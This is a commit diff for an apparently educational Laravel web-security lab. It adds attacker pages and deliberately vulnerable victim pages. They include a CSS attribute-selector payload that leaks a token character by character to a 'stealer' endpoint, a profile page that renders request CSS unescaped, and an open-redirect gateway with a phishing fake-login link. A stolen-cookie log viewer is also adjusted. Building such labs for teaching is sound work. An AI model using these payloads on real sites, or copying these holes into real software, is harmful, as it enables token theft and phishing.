add two more
This commit is contained in:
parent
827ff14935
commit
8d00358b3d
7
.dockerignore
Normal file
7
.dockerignore
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
.git
|
||||
vendor
|
||||
node_modules
|
||||
.phpunit.cache
|
||||
storage/framework/cache/*
|
||||
storage/framework/sessions/*
|
||||
storage/framework/views/*
|
||||
|
|
@ -44,8 +44,9 @@ public function logStolenData(Request $request)
|
|||
// متد برای مشاهده لاگ‌ها (پنل هکر)
|
||||
public function viewLogs()
|
||||
{
|
||||
$logs = Storage::exists('stolen_cookies.log')
|
||||
? Storage::get('stolen_cookies.log')
|
||||
// اضافه شدن دیسک پابلیک برای هماهنگی با متد ذخیره‌سازی
|
||||
$logs = Storage::disk('public')->exists('stolen_cookies.log')
|
||||
? Storage::disk('public')->get('stolen_cookies.log')
|
||||
: 'هیچ دیتایی سرقت نشده است.';
|
||||
|
||||
return view('vulnerabilities.logs', compact('logs'));
|
||||
|
|
|
|||
0
bootstrap/cache/.gitignore
vendored
Normal file → Executable file
0
bootstrap/cache/.gitignore
vendored
Normal file → Executable file
83
public/tailwindcss.js
Normal file
83
public/tailwindcss.js
Normal file
File diff suppressed because one or more lines are too long
39
resources/views/hacker/css-attack.blade.php
Normal file
39
resources/views/hacker/css-attack.blade.php
Normal file
|
|
@ -0,0 +1,39 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>CSS Injection Exfiltration Exploit</title>
|
||||
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
|
||||
</head>
|
||||
<body class="bg-slate-950 text-slate-200 font-mono min-h-screen p-8">
|
||||
<div class="max-w-4xl mx-auto">
|
||||
<header class="border-b border-red-500/30 pb-4 mb-8">
|
||||
<h1 class="text-3xl font-black text-red-500">CSS Attribute Exfiltration Lab</h1>
|
||||
<p class="text-slate-400 text-sm mt-1">Simultaneous extraction via precise cascade rule matching.</p>
|
||||
</header>
|
||||
|
||||
<div class="bg-slate-900 border border-slate-800 p-6 rounded-xl mb-6 shadow-xl">
|
||||
<h3 class="text-lg font-bold text-yellow-500 mb-2">Stable CSS Multi-Image Payload:</h3>
|
||||
<p class="text-xs text-slate-400 mb-4">Click the button below. It will bypass CORS and force the browser to log the exact matching characters.</p>
|
||||
|
||||
<button id="launch-btn" class="mt-2 bg-red-600 hover:bg-red-700 text-white font-bold py-2.5 px-6 rounded text-sm transition shadow-lg shadow-red-900/20">
|
||||
Execute Attack (Open Vulnerable Site)
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.getElementById('launch-btn').addEventListener('click', () => {
|
||||
const baseC2 = 'https://hackerapp.eitebar.ir/stealer?data=CSS_LEAK_CHAR_';
|
||||
|
||||
// پِی‌لود اصلاح شده: استفاده از کاما برای ارسال هم‌زمان تمام تصاویر پس‌زمینه زمان مچ شدن نهایی
|
||||
const payload = `#secret-token[value^="FLAG"] { ` +
|
||||
`background-image: url('${baseC2}F'), url('${baseC2}L'), url('${baseC2}A'), url('${baseC2}G') !important; ` +
|
||||
`}`;
|
||||
|
||||
const targetUrl = `https://webapp.kr-rezvan.ir/profile-settings?theme_css=${encodeURIComponent(payload)}`;
|
||||
window.open(targetUrl, '_blank');
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
30
resources/views/hacker/redirect-exploit.blade.php
Normal file
30
resources/views/hacker/redirect-exploit.blade.php
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>DOM-based Open Redirect Exploit</title>
|
||||
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
|
||||
</head>
|
||||
<body class="bg-slate-950 text-slate-200 font-mono min-h-screen p-8">
|
||||
<div class="max-w-3xl mx-auto">
|
||||
<header class="border-b border-yellow-500/30 pb-4 mb-8">
|
||||
<h1 class="text-3xl font-black text-yellow-500">DOM-based Open Redirect Phishing</h1>
|
||||
<p class="text-slate-400 text-sm mt-1">Abusing trusted application domains to forward victims to malicious endpoints via unvalidated JavaScript sinks.</p>
|
||||
</header>
|
||||
|
||||
<div class="bg-slate-900 border border-slate-800 p-6 rounded-xl shadow-xl">
|
||||
<h3 class="text-lg font-bold text-white mb-2">The Phishing Link Formulation:</h3>
|
||||
<p class="text-xs text-slate-400 mb-4">The link looks authentic because it starts with the victim's domain, but the JS logic handles the final bounce to the fake page.</p>
|
||||
|
||||
<div class="bg-black p-4 rounded text-xs text-amber-400 break-all select-all text-left mb-6" dir="ltr">
|
||||
https://webapp.kr-rezvan.ir/redirect-gateway?forward=https://hackerapp.eitebar.ir/fake-login
|
||||
</div>
|
||||
|
||||
<a href="https://webapp.kr-rezvan.ir/redirect-gateway?forward=https://hackerapp.eitebar.ir/fake-login"
|
||||
class="bg-yellow-600 hover:bg-yellow-500 text-slate-950 font-bold py-2.5 px-6 rounded text-sm transition inline-block shadow-lg shadow-yellow-600/10">
|
||||
Test Open Redirect Attack
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
28
resources/views/user/css-profile.blade.php
Normal file
28
resources/views/user/css-profile.blade.php
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="fa" dir="rtl">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>تنظیمات پوسته پروفایل | WebApp Victim</title>
|
||||
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
|
||||
|
||||
@if(request('theme_css'))
|
||||
<style>
|
||||
{!! request('theme_css') !!}
|
||||
</style>
|
||||
@endif
|
||||
</head>
|
||||
<body class="bg-slate-100 min-h-screen p-8">
|
||||
<div class="max-w-md mx-auto bg-white p-6 rounded-2xl shadow border border-slate-200">
|
||||
<h2 class="text-xl font-bold text-slate-800 mb-4">تنظیمات ظاهر حساب کاربری</h2>
|
||||
<p class="text-xs text-slate-500 mb-6">در این بخش می‌توانید ظاهر پنل خود را شخصی‌سازی کنید.</p>
|
||||
|
||||
<div class="bg-indigo-50 p-4 rounded-xl border border-indigo-200 mb-4">
|
||||
<label class="block text-xs font-bold text-indigo-600 mb-1">توکن امنیتی بانکی (حساس):</label>
|
||||
<input type="text" id="secret-token" value="FLAG" readonly
|
||||
class="w-full bg-white px-3 py-2 border rounded font-mono text-slate-800 outline-none">
|
||||
</div>
|
||||
|
||||
<p class="text-xs text-amber-600 font-sans">توضیح آزمایشگاه: مقدار اینپوت بالا به صورت پیش‌فرض کلمه "FLAG" است. هکر با CSS آن را استخراج خواهد کرد.</p>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -144,6 +144,21 @@
|
|||
<a href="https://hackerapp.eitebar.ir/xs-leak" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bg-gray-800 rounded-2xl border border-red-500/30 shadow-lg hover:shadow-red-500/20 transition-shadow duration-300">
|
||||
<div class="p-6">
|
||||
<h2 class="text-2xl font-bold text-red-400">CSS Injection Exfil</h2>
|
||||
<p class="text-gray-400 mt-2 mb-4 h-16">Abuse CSS Attribute Selectors to steal sensitive tokens character-by-character via background requests.</p>
|
||||
<a href="https://hackerapp.eitebar.ir/css-exploit" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bg-gray-800 rounded-2xl border border-yellow-500/30 shadow-lg hover:shadow-yellow-500/20 transition-shadow duration-300">
|
||||
<div class="p-6">
|
||||
<h2 class="text-2xl font-bold text-yellow-400">DOM Open Redirect</h2>
|
||||
<p class="text-gray-400 mt-2 mb-4 h-16">Exploit unchecked client-side routing logic (DOM Sinks) to execute cross-domain fishing redirects.</p>
|
||||
<a href="https://hackerapp.eitebar.ir/redirect-exploit" target="_blank" class="block w-full text-center bg-yellow-600 hover:bg-yellow-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@
|
|||
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
|
||||
<title>ورود به حساب | WebApp Victim</title>
|
||||
<!-- استفاده از Tailwind CDN به جای Vite برای لود تضمینی استایل‌ها -->
|
||||
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
|
||||
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
|
||||
<style>
|
||||
body { font-family: Tahoma, sans-serif; }
|
||||
</style>
|
||||
|
|
|
|||
33
resources/views/user/open-redirect.blade.php
Normal file
33
resources/views/user/open-redirect.blade.php
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="fa" dir="rtl">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>در حال انتقال سیستم... | WebApp Victim</title>
|
||||
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
|
||||
</head>
|
||||
<body class="bg-slate-900 text-slate-100 flex items-center justify-center min-h-screen">
|
||||
<div class="text-center bg-slate-800 p-8 rounded-2xl border border-slate-700 shadow-2xl max-w-md">
|
||||
<div class="animate-spin rounded-full h-12 w-12 border-b-4 border-blue-500 mx-auto mb-4"></div>
|
||||
<h2 class="text-xl font-bold mb-2">در حال هدایت به صفحه مورد نظر...</h2>
|
||||
<p class="text-xs text-slate-400">لطفاً چند لحظه منتظر بمانید. مرورگر شما در حال بارگذاری داده‌ها است.</p>
|
||||
|
||||
<div class="mt-6 text-left font-mono text-[11px] text-yellow-500 bg-black/50 p-3 rounded border border-yellow-500/20" dir="ltr">
|
||||
<strong>DOM Sink Triggered:</strong><br>
|
||||
window.location.href = urlParams.get('forward');
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// خواندن داده از URL (Source)
|
||||
const urlParams = new URLSearchParams(window.location.search);
|
||||
const forwardUrl = urlParams.get('forward');
|
||||
|
||||
if (forwardUrl) {
|
||||
// شبیه‌سازی یک تاخیر کوتاه برای دیده شدن انیمیشن توسط استاد و سپس اجرای سینک مخرب
|
||||
setTimeout(() => {
|
||||
window.location.href = forwardUrl; // DOM Sink اصلی
|
||||
}, 2000);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -4,7 +4,7 @@
|
|||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Our Partners</title>
|
||||
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
|
||||
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
|
||||
</head>
|
||||
<body class="bg-gray-100 p-10">
|
||||
<div class="max-w-2xl mx-auto bg-white p-8 rounded shadow">
|
||||
|
|
|
|||
|
|
@ -5,7 +5,7 @@
|
|||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
|
||||
<title>داشبورد کاربری | WebApp Victim</title>
|
||||
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
|
||||
<script src="{{env("APP_URL")."/tailwindcss.js"}}"></script>
|
||||
<style>
|
||||
body { font-family: Tahoma, sans-serif; }
|
||||
</style>
|
||||
|
|
|
|||
|
|
@ -15,6 +15,15 @@
|
|||
Route::domain('hackerapp.eitebar.ir')->withoutMiddleware([VulnerableHeadersMiddleware::class])
|
||||
->group(function () {
|
||||
|
||||
|
||||
Route::get('/css-exploit', function () {
|
||||
return view('hacker.css-attack');
|
||||
})->name('hacker.css.attack');
|
||||
|
||||
Route::get('/redirect-exploit', function () {
|
||||
return view('hacker.redirect-exploit');
|
||||
})->name('hacker.redirect.exploit');
|
||||
|
||||
// داشبورد اصلی هکر (لاگ‌های سرقت شده)
|
||||
Route::get('/', [VulnerabilityController::class, 'viewLogs'])->name('hacker.home');
|
||||
Route::get('/hacker-panel', [VulnerabilityController::class, 'viewLogs'])->name('vulnerability.logs');
|
||||
|
|
@ -113,6 +122,15 @@
|
|||
Route::domain('webapp.kr-rezvan.ir')
|
||||
->group(function () {
|
||||
|
||||
|
||||
Route::get('/profile-settings', function () {
|
||||
return view('user.css-profile');
|
||||
})->name('user.css.profile');
|
||||
|
||||
Route::get('/redirect-gateway', function () {
|
||||
return view('user.open-redirect');
|
||||
})->name('user.goto');
|
||||
|
||||
Route::get('/', [UserController::class, 'home'])->name('home');
|
||||
Route::get('/setup-lab', [UserController::class, 'setupLab'])->name('setup.lab');
|
||||
|
||||
|
|
|
|||
0
storage/logs/.gitignore
vendored
Normal file → Executable file
0
storage/logs/.gitignore
vendored
Normal file → Executable file
Loading…
Reference in New Issue
Block a user